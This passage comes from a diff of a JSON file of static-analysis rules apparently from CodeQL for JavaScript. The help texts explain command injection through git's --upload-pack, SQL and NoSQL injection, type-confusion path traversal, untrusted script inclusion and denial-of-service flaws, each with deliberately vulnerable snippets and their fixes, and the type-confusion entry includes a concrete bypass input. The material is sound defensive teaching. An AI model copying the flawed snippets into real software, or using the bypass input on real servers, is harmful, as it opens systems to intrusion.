References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
+            "markdown" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-640" ],
-            "description" : "Using the HTTP Host header to construct a link in an email can facilitate phishing\n              attacks and leak password reset tokens.",
-            "id" : "js/host-header-forgery-in-email-generation",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
+            "description" : "Using user-controlled data as arguments to some commands, such as git clone,\n              can allow arbitrary commands to be executed.",
+            "id" : "js/second-order-command-line-injection",
             "kind" : "path-problem",
-            "name" : "Host header poisoning in email generation",
+            "name" : "Second order command injection",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.8"
+            "security-severity" : "7.0"
           }
         }, {
-          "id" : "js/sql-injection",
-          "name" : "js/sql-injection",
+          "id" : "js/type-confusion-through-parameter-tampering",
+          "name" : "js/type-confusion-through-parameter-tampering",
           "shortDescription" : {
-            "text" : "Database query built from user-controlled sources"
+            "text" : "Type confusion through parameter tampering"
           },
           "fullDescription" : {
-            "text" : "Building a database query from user-controlled sources is vulnerable to insertion of malicious code by the user."
+            "text" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n",
-            "markdown" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n"
+            "text" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n",
+            "markdown" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-089", "external/cwe/cwe-090", "external/cwe/cwe-943" ],
-            "description" : "Building a database query from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
-            "id" : "js/sql-injection",
+            "tags" : [ "security", "external/cwe/cwe-843" ],
+            "description" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type.",
+            "id" : "js/type-confusion-through-parameter-tampering",
             "kind" : "path-problem",
-            "name" : "Database query built from user-controlled sources",
+            "name" : "Type confusion through parameter tampering",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "8.8"
+            "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/xml-bomb",
-          "name" : "js/xml-bomb",
+          "id" : "js/functionality-from-untrusted-source",
+          "name" : "js/functionality-from-untrusted-source",
           "shortDescription" : {
-            "text" : "XML internal entity expansion"
+            "text" : "Inclusion of functionality from an untrusted source"
           },
           "fullDescription" : {
-            "text" : "Parsing user input as an XML document with arbitrary internal entity expansion is vulnerable to denial-of-service attacks."
+            "text" : "Including functionality from an untrusted source may allow an attacker to control the functionality and execute arbitrary code."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n",
+            "markdown" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-776", "external/cwe/cwe-400" ],
-            "description" : "Parsing user input as an XML document with arbitrary internal\n              entity expansion is vulnerable to denial-of-service attacks.",
-            "id" : "js/xml-bomb",
-            "kind" : "path-problem",
-            "name" : "XML internal entity expansion",
+            "tags" : [ "security", "external/cwe/cwe-830" ],
+            "description" : "Including functionality from an untrusted source may allow\n              an attacker to control the functionality and execute arbitrary code.",
+            "id" : "js/functionality-from-untrusted-source",
+            "kind" : "problem",
+            "name" : "Inclusion of functionality from an untrusted source",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "6.0"
           }
         }, {
-          "id" : "js/resource-exhaustion-from-deep-object-traversal",
-          "name" : "js/resource-exhaustion-from-deep-object-traversal",
+          "id" : "js/tainted-format-string",
+          "name" : "js/tainted-format-string",
           "shortDescription" : {
-            "text" : "Resources exhaustion from deep object traversal"
+            "text" : "Use of externally-controlled format string"
           },
           "fullDescription" : {
-            "text" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service."
+            "text" : "Using external input in format strings can lead to garbled output."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
